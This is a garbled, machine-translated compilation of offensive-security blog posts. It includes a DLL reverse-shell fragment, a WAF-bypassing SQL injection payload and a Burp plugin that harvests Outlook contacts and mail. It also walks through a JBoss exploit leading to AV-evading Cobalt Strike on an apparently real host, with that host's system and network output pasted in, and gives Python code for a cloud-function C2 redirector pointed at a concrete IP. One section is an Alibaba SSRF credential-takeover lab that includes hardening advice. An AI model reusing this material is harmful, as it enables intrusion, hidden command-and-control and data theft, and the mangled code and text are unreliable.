char *myArray [4]={'cm'、 'd.e'、 'x'、 'e'};

charコマンド[8]='';

snprintf(command、sizeof(command)、 '%s%s%s'、myarray [0]、myarray [1]、myarray [2]、myarray [3]);

createProcess(null、command、null、null、true、0、null、null、ini_processo、processo_info);

}

}

dword winapi mainthread(lpvoid lpparam)

{

Reverseshell();

0を返します。

}

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

hthreadを処理します。

if(fdwreason==dll_process_attach)

hthread=createThread(0、0、mainthread、0、0、0);

trueを返します。

} 复制代码

許可は低くありません、それはドメインユーザー:です

0ndvsdy02t53414.png

2。SQL注入:背景紹介:友人が注射を送った。この注入は非常に難しいです。 XXクラウドのWAFがあり、バックエンドフィルターのコンマ、奇数と二重引用符、および通常の機能があります。私のアイデアは非常にシンプルで、16進数です。 regexp機能だけで、他のアイデアがあるべきだと思います。

(Case+When+Current_user+regexp+0x*+then+1+else+2*1e308+end)この方法では、データベースユーザーが作成されます。

ここで、声明の場合のケースについてお話したいと思います。声明が私たちが想像したよりもはるかに柔軟である場合。ここでメモを取り、について話します

最も一般的な:

0adbzrsvstf3415.png

異常なことを言って、私は2つのデモを書きます、そして私はそれを続け続けることができます:

2=2の場合、ケース1=1次に1=1 else 1/0 end

pwol4uu2but3416.png

ac2yy4brimx3417.png

3.urlジャンプ +アイデンティティ認証トークンリーク:昨夜それを掘りました、そして、私が無視する理由は複製です。時々、私は一部のメーカーに非常に言葉を失い、脆弱性はそこにあり、彼らは修正されていません。それは私に幻想を与え、抜け穴を見つけ、ハニーポットを踏むという幻想を持っていました。資産範囲は:VC-*。xxx.comです

実際、私は簡単なファズを作ることができ、多くの資産を見つけたので、私はこの範囲に遭遇してとてもうれしいです。

1つずつ開いて視聴し、VC-Ss.xxx.comにアクセスしてサイトにアクセスし、直接ジャンプしてログインを求めます。

私は神ではなく、説明もありません。私はJSを見て、PATH情報へのアクセスが見つかりませんでした。

ファズから始めて、PHPであることがわかっている場合は簡単です。 FFUFを使用してPHP/API辞書を実行し、インターフェイス開発ドキュメント/API /***.htmlに実行します

インターフェイス開発ドキュメントの当初の意図は良好ですが、ほとんどのインターフェイス開発ドキュメントに関するスクリーンショット情報/インターフェイス情報は、二次脆弱性の搾取のリスクがある可能性があります。残念ながらテスト後、スクリーンショット情報はすべてプレーンテキストですが、ほとんどすべてのインターフェイスが401に直接アクセスできることがわかり、ID認証が必要であることがわかりました。私は少し無力でした。私があきらめたかったとき、私はいつも自分自身に読んだ後に慎重に読むように自分自身に言いました。私はインターフェイスドキュメントを見つめ続け、めくっていて、アイデンティティトークンリークやその他のセキュリティの脆弱性を見つけました。

私は抜け穴を提出し、朝:に重複したメッセージを受け取りました

s1lid2541ut3418.png

オリジナルリンク:https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

0x01はじめに

これは、Outlookユーザー情報の収集のためのげっぷプラグインです。 Outlookアカウントにログインした後、これを使用できます。

プラグインは、すべての連絡先情報を自動的にクロールします

0x02インストール

バープエクステンションパネルに瓶をロードするだけ

0x03関数はじめに

1.すべてのユーザー

プラグインをロードした後、Outlook連絡先パネルを入力して、すべてのユーザーをクリックします

1049983-20230217095754648-934138006.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=findpeopleapp=people

1049983-20230217095755615-1407529720.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095756527-258145748.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095757297-634296044.png

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095758096-92972468.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザーメールを取得してすべてのメールを取得します。

1049983-20230217095758848-1201452255.jpg 1049983-20230217095759742-1384183711.jpg

2。注意

このAPIには、同じURLと異なるポスト提出パラメーターが多数あります。間違ったAPIインターフェイスを選択すると、ポップアッププロンプトがあります。

1049983-20230217095800733-584994050.jpg 1049983-20230217095801761-820625906.jpg 010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。

1049983-20230217095802597-563015457.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=getpersonaapp=people

1049983-20230217095803597-1431839783.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095804404-1030562578.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095805256-542719959.jpg

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095806159-1229654401.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザー個人情報を取得してすべての連絡先情報を取得します。

1049983-20230217095807230-1070577141.jpg 1049983-20230217095808001-189242314.jpg取得するツール:公式アカウント返信キーワード「Outlook」

ツールの準備

jexboss

Kali Linux

CS 4.3

Windows Killer Onlineクエリ1

Windows Killer Onlineクエリ2

Windows Killer Onlineクエリ3

fscan

タイドシェルコード無料キル

lstar

Cobaltstrike用のその他のプラグイン

PEASS-NG

printspoofer

屋外インターネットサービス

1。イントラネットの水平方向を練習するために、外国のサイトに静かに焦点を当てる

2。JBossのWebサイトには、Deserializationの脆弱性があることがわかりました。はい、jexbossを正常に使用することはできません。

python jexboss.py -u https://xx.xx.xx/3。 6人の兄弟による脱派化のための究極のテストツールに成功しました

1049983-20230215131239116-223537581.jpg

4.現在のユーザーWhoami、普通のユーザーを確認してください

1049983-20230215131240001-1805733217.jpg

5。IPアドレスIPConfigを確認します

1049983-20230215131240695-1226303758.png

6.キラータスクリスト /SVCがあるかどうかを確認します

1049983-20230215131241427-1688620320.jpg

7.クエリコンテンツをWindowsに貼り付けてソフトオンラインクエリを殺し、ソフトを殺していることを見つけます

1049983-20230215131242229-2119682491.png

8.サーバーがネットワークから外れているかどうかを確認してくださいwww.baidu.com、それは非常に良いです。サーバーはネットワーク外です

1049983-20230215131242947-720790428.jpg

csはオンライン

です

1。ソフトキーリングソフトウェアがあるため、バイパスすることを検討する必要があります。 CSトロイの木馬を直接アップロードすることは絶対に不可能です。今回は、GitHub上のPythonを使用してパッケージ化された多くのExeファイルが大きすぎて非常にゆっくりとアップロードされているため、Tideシェルコードは殺されません。

2。CSはC言語のシェルコードになります

1049983-20230215131243779-988047620.jpg

3.シェルコードコンテンツをTIDAL Webサイトにコピーし、生成されたexeをターゲットマシンにアップロードし、コマンドを実行します

c: \\ usr \\ desarrollo \\ jboss-5.1.0.ga \\ server \\ sigameserver \\ deploy \\ root.war \\ tideav-go1-2023-02-04-10-31-21-221261.exe tide

1049983-20230215131244506-1032424649.jpg

4。CSが正常に起動されます

1049983-20230215131245276-813131303.jpg

許可強化

情報収集

1。現在のユーザーと特権を表示します

おっと

おっと /priv

1049983-20230215131246068-433870973.jpg

2。システムバージョンとパッチ情報を表示します

SystemInfo

1049983-20230215131246951-13416048.jpg

nombre de host: ameprowebegad

Nombre del Sistema OperatingVO: Microsoft Windows 10 Pro

Versi¢n Del Sistema Operativo: 10.0.19044 N/D Compilaci¢n 19044

Fabricante del Sistema OperatingVO: Microsoft Corporation

configuraci¢n del sistema operativo: estaci¢n de trabajo miembro

Tipo de compilaci¢n del sistema operativo:マルチプロセッサ無料

Propiedad de: appzusr

organaCi¢n Registadada:

id。 Del Producto: 00331-10000-00001-AA727

fecha de instalaci¢n original3: 13/5/2022、14336003:47

Tiempo de Arranque del Sistema: 1/2/2023、16336050336029

Fabricante del Sistema: VMware、Inc。

Modelo El Sistema: VMware仮想プラットフォーム

Tipo de sistema: x64ベースのPC

Procesador(ES): 2 Procesadores Instalados。

[01] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

[02] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

Versi¢n del Bios: Phoenix Technologies Ltd 6.00、12/11/2020

Directorio de Windows: C: \ Windows

Directorio de Sistema: C: \ Windows \ System32

dispuritivo de arranque: \ device \ harddiskvolume1

Configuraci¢n Regional Del Sistema: EZS-MX;ESPA¤ol(Mlyxico)

Idioma de entrada: es-mx;espa¤ol(menxico)

Zona Horaria:(UTC-06:00)Guadalajara、Ciudad de M、Menxico、Monterrey

Cantidad Total De Memoriaf¡sica:4.095 Mb

Mememeiaf¡sicadisonible: 1.201 Mb

MEMERIA VIRTUAL:TAMA配M XIMO: 4.799 MB

MEMERIA VIRTUAL: DISPONIBLE: 1.147 MB

MEMERIA VIRTUAL: EN USO: 3.652 MB

ubicaci¢n(es)de archivo de paginaci¢n: c: \ pagefile.sys

dominio: ame.local

Servidor de inicio de sesi¢n: \\ ameprowebegad

revisi¢n(es): 4 revisi¢n(es)instaladas。

[01] : KB5004331

[02] : KB5003791

[03] : KB5006670

[04] : KB5005699

Tarjeta(s)de Red: 1 Tarjetas de Interfaz de Red Instaladas。

Z [01] : Intel(R)Pro/1000 MTネットワーク接続

nombre de conexi¢n: ethernet0

DHCP Habilitado: no

Direcciones IP

[01] : 172.16.2.100

[02] : FE80:591:AE09:EEE1:888E

Hyper-V: se extect¢un hippervisorが必要です。 No se mostr n lascaracter¡sticas必要なパラhyper -v.3、オープンポートサービスnetstat -anoを表示

Conexiones activas

Proto direcci¢n local direcci¢n Remota estado pid

TCP 0.0.0.03360135 0.0.0.0:0リスニング600

TCP 0.0.0.03360445 0.0.0.0:0リスニング4

TCP 0.0.0.033601090 0.0.0.0:0リスニング7600

TCP 0.0.0.033601098 0.0.0.0:0リスニング7600

TCP Z 0.0.0.033601099 0.0.0.0:0リスニング7600

TCP 0.0.0.033603389 0.0.0.0:0リスニング1072

TCP 0.0.0.033603873 0.0.0.0:0リスニング7600

TCP 0.0.0.033604444 0.0.0.0:0リスニング7600

TCP 0.0.0.03360445 0.0.0.0:0リスニング7600

TCP 0.0.0.033604446 0.0.0.0:0リスニング7600

TCP 0.0.0.03360457 0.0.0.0:0リスニング7600

TCP 0.0.0.033604712 0.0.0.0:0リスニング7600

TCP 0.0.0.033604713 0.0.0.0:0リスニング7600

TCP 0.0.0.033605040 0.0.0.0:0リスニング6652

TCP 0.0.0.0:5985 0.0.0.0:0リスニング4

TCP 0.0.0.033607070 0.0.0.0:0リスニング3564

TCP 0.0.0.0:8009 0.0.0.0:0リスニング7600

TCP 0.0.0.033608080 0.0.0.0:0 Zリスニング7600

TCP 0.0.0.033608083 0.0.0.0:0リスニング7600

TCP 0.0.0.0336046305 0.0.0.0:0リスニング7600

TCP 0.0.0.0336047001 0.0.0.0:0リスニング4

TCP 0.0.0.0336049664 0.0.0.0:0リスニング832

TCP 0.0.0.0336049665 0.0.0.0:0リスニング680

TCP 0.0.0.0336049666 0.0.0.0:0リスニング1416

TCP 0.0.0.0336049667 0.0.0.0:0リスニング1612

TCP 0.0.0.0336049668 0.0.0.0:0リスニング2452

TCP 0.0.0.0336049671 0.0.0.0:0リスニング832

TCP 0.0.0.0336049672 0.0.0.0:0リスニング3404

TCP 0.0.0.0336049704 0.0.0.0:0リスニング820

TCP 0.0.0.0336049708 0.0.0.0:0リスニング3048

TCP 0.0.0.0336051407 0.0.0.0:0リスニング7600

TCP 127Z.0.0.0.1:5140 0.0.0.0:0リスニング7172

TCP 127.0.0.1:51411 0.0.0.0:0リスニング7600

TCP 172.16.2.2.100:139 0.0.0.0:0リスニング4

TCP 172.16.2.2.100:8080 172.16.12.34:42602 Time_Wait 0

TCP 172.16.2.2.100:8080 172.16.12.34:42610確立された7600

TCP 172.16.2.100:8080 172.16.12.34336055672 Time_Wait 0

TCP 172.16.2.2.100:8080 172.16.12.34:55686 Time_Wait 0

TCP 172.16.2.2.100:49717 38.90.226.62:8883確立3576

TCP 172.16.2.2.100:50848 172.16.2.2.100:51407 TIME_WAIT 0

TCP 172.16.2.2.100:51413 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:51447 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:56063 172.16.2.11:2222確立3576

TCP 172.16.2.2.100:56538 92.223.66.483360443確立された3564

TCP [:] :135 [:] :0リスニングインズ600

TCP [:] :445 [:] :0リスニング4

TCP [:] :1090 [:] :0リスニング7600

TCP [:] :1098 [:] :0リスニング7600

TCP [:] :1099 [:] :0リスニング7600

TCP [:3360] :3389 [:] :0リスニング1072

TCP [:3360] :3873 [:] :0リスニング7600

TCP [:] :4444 [:] :0リスニング7600

TCP [:] :4445 [:] :0リスニング7600

TCP [:] :4446 [:] :0リスニング7600

TCP [:] :4457 [:] :0リスニング7600

TCP [:] :4712 [:] :0リスニング7600

TCP [:] :4713 [:] :0リスニング7600

TCP [:3360] :5985

まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。

Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。m4bjeztln2u3472.png

最初にログインし、承認が必要です。

コンソールにログインしたら、[作成]をクリックします。bnkltpxczhs3473.png

関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。fbvhiriazsv3474.png

次のコードをコピーして、サーバーアドレスを変更します。

#Coding: UTF8

JSON、リクエスト、Base64をインポートします

def main_handler(イベント、コンテキスト):

応答={}

パス=なし

ヘッダー=なし

try:

C2='http://43.134.164.72:80'

event.keys():の「パス」の場合

path=event ['path']

event.keys():の「ヘッダー」の場合

ヘッダー=イベント['ヘッダー']

event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合

resp=requests.get(c2+path、headers=headers、verify=false)

else:

resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)

印刷(resp.headers)

印刷(resp.content)

応答={

'isbase64encoded': true、

'StatusCode': resp.status_code、

'Headers ': dict(resp.headers)、

'body': str(base64.b64encode(resp.content))[2:-1]

}

E:としての例外を除く

印刷( 'エラー')

印刷(e)

最後に:

返信応答

b2vrexoa4xx3475.png

終了したら、[保存]をクリックしてください!

次に、[トリガー管理]をクリックしてトリガーを作成します

フォーマットは次のように1zf5c2k4vq53476.pngです

API名をクリックして編集し、このページに到着します。パスは /efvxbijzjv23477.pngに変更されます

クリックして、完了後にサービスを公開します

win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました

SAMPLE_NAME 'T'を設定します。

Sleeptime '3000'を設定します。

Jitter '0'を設定します。

Maxdns '255'を設定します。

set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';

http-get {

set uri '/api/x';

クライアント {

ヘッダー「Accept」*/*';

メタデータ{

base64;

prepend 'sessionid=';

ヘッダー「クッキー」;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「サーバー」 'nodejs';

出力{

base64;

印刷;

}

}

}

http-stager {

set uri_x86 '/vue.min.js';

set uri_x64 '/bootstrap-2.min.js';

}

http-post {

set uri '/api/y';

クライアント {

ヘッダー「Accept」*/*';

id {

base64;

'jsession=';

ヘッダー「クッキー」;

}

出力{

base64;

印刷;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「接続」 'キープアリブ';

出力{

base64;

印刷;

}

}

}

保存後、CSディレクトリに保存します。

CSサーバーを起動します

./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile swbiudj4dnf3478.png

パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します

HTTPおよび80 mb4ft4dqmup3479.pngに注意してください

リスニング3xlpsjvijgl3480.pngを追加します

シェルを生成した後、正常に起動されました。78.png元のテキスト接続:https://Blog.bbskali.cn/3771.html

序文

サイトのサイト分離タイプについての議論を見ました。情報収集のヒントを要約したいと思います。

テキスト

ウェブサイトライブラリ分離タイプサイトにはまだ要約記事がないので、ウェブサイトライブラリ分離タイプサイトに関する浸透のアイデアを記録しようとします。

サイトライブラリ分離タイプサイトの場合、通常、2つの侵入エントリポイント:を持つことができます

1.Web Webサイト

2。データベースの浸透のアイデアは、実際には非常に一般的です。しかし、ここでは、2つのエントリポイントが2つのパスにすぎない場合。

イントラネットの浸透はWeb Webサイトから行われ、サイトデータベースから分離され、イントラネットの浸透はデータベースから行われ、サイトデータベースから分離され、イントラネットの浸透はサイトWebサイトから分離され、イントラネットの浸透は異なるパスに従って異なる浸透テスト計画にカスタマイズされます。次の記録では、プロセスと簡単な問題を記録します。

1。ウェブ入り口からの浸透

Webポータルから、通常、ファイルのアップロード、コマンド実行、コード実行、SQLインジェクションの書き込み(Outfile、Log Backupなど)など、Webサイトのさまざまな脆弱性を把握します。

Web許可を取得したり、ファイルの読み取りなどの脆弱性を持つ場合、データベース構成ファイルも読み取り、データベースコンテンツを分析し、データベースのバックアップを見つけてから、後続の操作のためにデータベースターゲットIPを侵入します。

2。データベースの入り口からの浸透

しかし、ここでは、データベースのエントリポイントが外部ネットワークによって公開された弱いパスワードをポイントすると言わざるを得ません。 Web WebサイトSQLインジェクション。

データベースの入り口からの普及は、主により大きな権限を取得するか、浸透結果を拡大することです。たとえば、データベースからパスワード情報、ユーザー名などを取得できます。これにより、その後のイントラネットの浸透に効果的に役立ちます。

サイトはサイトライブラリから分離されており、データベースとWebは同じサーバーにありません。現時点では、パスが役に立たないため、Webを介して接続するための文を書くことはできません。 WebサイドからSQLインジェクションが見つかった場合、情報を収集して、次の方法を使用してアクセス許可を取得できます。

1.mysql

(1)WebサイドIPアドレスの配置

Information_schemaライブラリのプロセスリストをクエリすることにより、MySQLの現在の接続ステータスを確認できます。 Webアプリケーションはクエリデータベース操作を生成するため、ターゲットのIP:portがエコーされたホストフィールドに戻されます。

select * from information_schema.processlist;

1049983-20230202132719974-1143668680.jpg WebエンドのIPを取得した後、Webエンドに浸透することができます。

(2)load_file()データベースが配置されているサーバーに関する機密情報を取得

secure_file_privパラメーター(mysql5.7以下)に制限がない場合、load_file()関数を使用してファイルコンテンツを読み取ることもできます。

select load_file( 'c:/test.txt');#left slash/

1049983-20230202132720758-2131279046.jpgは、読み取りなどのネットワークカード情報を取得することもできます。

/etc/udev/rules.d/70-persistent-net.rulesネットワークカード名を取得します。

/etc/sysconfig/network-scripts/ifcfg-netcard static ipdhcp if /var/lib/dhclient/dhclient - netcard.lease

2.mssql

(1)ステーションライブラリが分離されているかどうかを判断します

クライアントホスト名を取得する

host_name();を選択します。

サーバーホスト名を取得します

@@ servernameを選択します。

結果に基づいて分離されているかどうかを判断すると、同じ結果がサーバーと同じである可能性があり、同じ結果はサイトライブラリの分離です。

(2)ストアドプロシージャ実行コマンド

MSSQLストアドプロシージャを介してシステムコマンドを実行することができ、権限を直接エスカレートして他のホストに侵入しようとすることができます。

一般的に使用される2つ:

XP_CMDSHELLSP_OACREATEは、データベースサーバーがネットワークから外れているかどうかを検出し、PingまたはCurlを実行してネットワークから外れているかどうかを確認できます。通常、MSSQLに遭遇すると、コマンドの実行を通じて直接オンラインになります。

また、データベースでもあるため、当然、いくつかの機密情報が含まれています。さらに浸透するために、パスワードブックまたはその他の情報を整理できます。

0x00はじめに

この記事では、Alibaba Cloudを使用して、クラウドサービスで攻撃的および防御的な方法を示すための例として使用されます。まず、Terraformを使用してECS SSRF脆弱性環境を構築し、次にステップバイステップで、インスタンスに存在するSSRF脆弱性を介してクラウドサービスアカウントのすべてのAlibabaクラウドサービス許可を取得します。

0x01環境構築

この記事では、Terraformgoatを使用して撮影範囲を構築しています。 Terraformgoat範囲アドレス:https://github.com/huocorp/terraformgoat(opens new Window)

射撃場を展開するときは、Alibaba Cloud AccessKeyを使用する必要があります。クラウドの生産環境に影響を与えることを避けるために、ここで非生産環境でAccessKeyを使用し、生産環境と同じアカウントを使用しないことを強くお勧めします。

Terraformgoatツールの反復更新により、次の環境構築方法が失敗し、展開方法はより便利でフレンドリーになりました。特定の展開方法については、上記のTerraformgoat射撃範囲の住所を参照してください。

次に、射撃場の構築を開始し、最初に射撃場プロジェクトをローカルエリアにクローンし、射撃範囲をダウンロードするために必要な依存関係を構築し始めます。

git clone 3https://github.com/huocorp/terraformgoat.git - デプス1

CD Terraformgoat

Dockerビルド。 -t terraformgoat:v0.0.3

docker run -itd -Name terraformgoat terraformgoat:v0.0.3

docker exec -it terraformgoat /bin /bash githubアクセスが遅い場合、ターミナルにプロキシを掛けることができます

proxy_url='127.0.0.133601080'エクスポートhttps_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //次に使用します。ここでは、Alibaba Cloud Serviceを例に取り、2を入力してAlibaba Cloudを選択してEnterを押します。

1049983-20230131225117204-1980699701.png

Alibaba Cloud ECS SSRFシューティングレンジパスを入力して、アクセスキーを構成します

cd/terraformgoat/aliyun/ecs/ecs_ssrf/

Aliyun Configuration 1049983-20230131225118193-701724140.png

SSRF範囲を展開します

Terraform init

INITの初期化が遅い場合は、Terraformが適用されます。プロキシを掛けてください。

適用期間中、入力値がプロンプトされ、YESを入力して入力します。

1049983-20230131225137298-63570412.png

出力では、返された範囲アドレスを見ることができます。このアドレスにアクセスすると、SSRFテスト範囲のページが表示されます。これは、環境が構築されたことを意味します。

1049983-20230131225138389-921342286.png

0x02環境利用

現在の環境にはSSRFの脆弱性がありますが、通常のSSRFが位置する環境とは異なり、ここのSSRFの脆弱性がクラウドサーバーに表示されます。つまり、このSSRFの脆弱性を通じてサーバーのメタデータ情報を取得できます。

メタデータにアクセスします

http://100.100.100.200/最新/メタデータ1049983-20230131225139477-87423798.png

返された結果では、現在の環境にはRAM/ディレクトリがあることがわかります。つまり、現在のクラウドサーバーにはRAMロールが構成されているため、一時的な資格情報を取得できます。

メタデータを介して一時的な資格情報を取得します

ここのURLのHuocorp-Terraform-Goat-Roleは、http://100.100.100.200/最新/Meta-Data/RAM/Security-Credentials/にアクセスすることで取得できます。

http://100.100.100.200/最新/Meta-Data/RAM/Security-CreDentials/Huocorp-Terraform-Goat-Role 1049983-20230131225156034-2118635665.png

Aliyunコマンドラインツールに一時的な資格情報を構成します。

Aliyun configure - モードStstoken 1049983-20230131225157311-1794465312.png

サブユーザーと助成金管理者の許可を作成します

Aliyun Ram CreateUser -Username Teamssix

Aliyun Ram CreateLoginProfile -Username TeamSix -PassWord TeamSix@666

aliyun ram attachpolicytouser ---ポリシュイタイプシステム - ポリックナムadministratorAccess -username teamsix 1049983-20230131225158348-1911636520.png

https://Signin.aliyun.com(新しいウィンドウを開く)ページにアクセスして、RAMユーザーを介してログインします。ここのユーザー形式は、USERNAME@Company-Aliasで、ユーザー名は作成したばかりのユーザー名です。 Company-Aliasは、次のコマンドから取得できます。

Aliyun Ram GetAccountalias 1049983-20230131225201677-896717901.png

ここのアカウンタリアは、私たちが必要とする会社です。次にコンソールにログインできます。

1049983-20230131225202783-1613916352.png

ユーザーが今作成されたときにパスワードを入力してください

1049983-20230131225203985-212994692.png

ログインした後、ターゲットコンソールが表示されます。

1049983-20230131225206591-1683868747.png

現在、ユーザーを作成するときにAdministratorAccessの許可が付与されたため、RAM Access Control Officeから、現在のアカウントがすべてのAlibabaクラウドリソースを管理する許可があることを確認できます。

1049983-20230131225207786-84884398.png

Cloud Service ECSインスタンスでは、作成したばかりのSSRFシューティングレンジサーバーも表示できます。

1049983-20230131225208760-1260587526.png

この時点で、クラウドサーバーのSSRF脆弱性を活用することにより、Alibaba Cloud Consoleを引き継ぐために実装されています。

さらに、この環境にフラグファイルも配置されます。興味がある場合は、このフラグを見つけることができます。書き込みアドレス:https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(オペンズ新しいウィンドウ)

0x03防衛測定

SSRFに加えて、この環境には他に2つの主要な問題があります。

RAMの役割はあまりにも大きすぎるため、役割の許可を通じてサブユーザーの作成や、補強なしでサブユーザーに高い許可を付与するなど、操作メタデータにつながります。その結果、ターゲットにSSRFがあるか、ターゲットの権限が削除されると、メタデータは取得されるリスクがあります。最初のRAM役割の過度の権限の問題については、主なことは、ユーザーが権限を最小化するという原則を厳密に順守することです。 RAMの役割に権限を付与する場合、あまりにも高い権限を与えたり、必要な権限を付与したりすることのみを避けます。

2番目のメタデータのアクセスが硬化していないという問題に応じて、インスタンスのメタデータアクセスモードを硬化モードに設定できます。これは基本的なソリューションです。メタデータアクセスモードを硬化モードに設定するには、次の2つの方法があります。

インスタンスを作成するときに、システム構成1049983-20230131225209857-101210772.pngの高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。

すでに作成されたインスタンスでは、Alibaba Cloud Openapiでトークンを使用してメタデータの強制アクセスを有効にすることができます。 Openapiアドレス:https://NEXT.API.ALIYUN.COM/API/ECS/2014-05-26/MODIFYINSTANCEMETADATAOPTIONS(Opens New Window)1049983-20230131225211023-811956951.png

httptokensを必要なものに設定するということは、硬化モードが強制的に使用されることを意味します。現時点では、メタデータにアクセスすると403が促されます。

1049983-20230131225212158-993266326.png

メタデータを強化モードに設定すると、メタデータがSSRFを使用してメタデータが取得されるのを防ぐことができますが、インスタンスの許可が削除された場合、レッドチームはインスタンスでトークンを取得してからメタデータを取得するためにトークンを使用してコマンドを実行できます。

Linuxインスタンスでトークンを取得するコマンドは次のとおりです。

トークン=`curl -x put 'http://100.100.100.200/rest/api/token' -h 'x-aliyun-metadata-token-ttl-seconds: 21600'``` `` `` `Getトークン

Curl -H 'X-Aliyun-Ecs-Metadata-Token: $ Token' http://100.100.100.200/最新/Meta-Data/1049983-20230131225213143-2072985310.png

Windowsインスタンスで取得する方法については、Alibaba Cloudの公式文書を参照してください:https://help.aliyun.com/document_detail/108460.htm(Opens new Window)

メタデータアクセスモードを補強モードに設定するこの方法は、SSRFの脆弱性を防御するための補強モードになります。

0x04環境削除

作成されたサブアカウントを削除します

Aliyun Ram DetachpolicyFromuser - PolicyType System - PolicYname AdministratorAccess - Username TeamSsix

Aliyun Ram Deleteuser -Username TeamSixは、SSRF射撃範囲環境を削除します。射撃範囲を使用した後、ここで作成されたクラウドサービスは時間ごとに請求され、この射撃範囲インスタンスの価格は1時間あたり0.17人民元であるため、時間内に削除することを忘れないでください。

射撃範囲を破壊する前に、AccessKeyを初期アクセスキーとして構成し、コマンドを構成することを忘れないでください:Aliyun configure - mode ak

Terraform Destroy Terraformgoatをクリアしたい場合は、次のコマンドを使用できます。将来クラウド攻撃と防御を学びたい場合は、Terraformgoat環境を維持できます。

Dockerはterraformgoatを停止します

Docker RM Terraformgoat

Docker RMI terraformgoat:V0.0.3

0x05要約

ここでは、クラウドのSSRF脆弱性を通じて一時的なキーが得られました。管理者アクセスを備えたサブスクライバーが一時キーを介して作成され、最後にターゲットコンソールがこのサブスクライバーを介して引き継がれました。

ただし、この方法を実際の戦闘で使用するためのいくつかの前提条件があり、主な前提条件は次の2つです。

ECSインスタンスにはRAMの役割を付与する必要があります。そうしないと、一時的な資格情報にアクセスするメタデータは404ramを返します。この役割には、ユーザーの作成、許可の付与など、RAMアクセス制御に関連する運用許可が必要です。そうしないと、一時キーにはサブユーザーを作成する許可がありません。実際の戦闘では、ECSインスタンスにRAMの役割が付与されている場合、ほとんどの場合、役割にはユーザー作成の許可がありません。現時点では、サブアカウントを作成してコンソールにログインすることは不可能です。 Alibaba Cloud Command Lineツールを使用して、ターゲットクラウドサービスを操作できます。

一般に、クラウド攻撃と防御は、従来のイントラネット攻撃と防御とは依然として非常に異なります。

クラウド攻撃と防御の一般的な問題は、構成エラーです。たとえば、ここでの問題は、RAMの役割構成権限が高すぎることです。クラウド攻撃と防御の許可を維持する主な方法は、従来の攻撃と防御に関するさまざまな許可を持つのではなく、高恵まれたRAMユーザーを作成することです。クラウド攻撃と防御のイントラネットの水平方向は、伝統的な攻撃や防御などのさまざまなイントラネットの水平方式を持つのではなく、このクラウドサービスから別のクラウドサービスまで、クラウドサービスメーカーのコマンドラインまたはコンソールで主に水平方向にあります。最後に、この記事に記載されているコマンドの多くは、Fireline Cloud Security Knowledge Baseのコンテンツを参照しています。ナレッジベースアドレスは、https://Cloudsec.huoxian.cn(新しいウィンドウを開きます)です。知識ベースのホームページに、ファイヤーラインクラウドサービス攻撃と防御マトリックスを見ることができます。この記事は、この攻撃と防御マトリックスに基づいたクラウド攻撃と防御です。

1049983-20230131225214928-653517160.png

学習するためのより多くのクラウドセキュリティリソースを見つけたい場合は、現在100を超える国内および外国のクラウドセキュリティブログ、ツール、公式アカウント、その他のリソースが含まれているAwesome Cloud Security Projectにアクセスできます。プロジェクトアドレスは、https://github.com/teamssix/awesome-cloud-security(オペンズ新しいウィンドウ)です。

1049983-20230131225216312-1056046829.png

参照記事:https://Cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs

元の接続:https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html

概要

認証情報を置き換え、パケットの結果を比較することにより、インターフェイスに期限切れの脆弱性があるかどうかを判断できます。

機能

Picture/JS/CSS/HTMLページなどの静的コンテンツのHTTPS自動フィルタリング、ブロッキング、サポート出力レポート、および完全なURL、リクエスト、応答

インストールと使用

GIT CLONE 3https://9GITHUB.COM/Y1NGLAMORE/IDTHOR_-DETECT_TTOR_-DETECT_THOR_-DETECT_THOR_-DETECT_THOR_-DTECTECT_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR。 PIPインストール-R要件。txt

インストール依存関係

python3 start.py

Socks5: //127.0.0.133608889を聴くことができます。

start

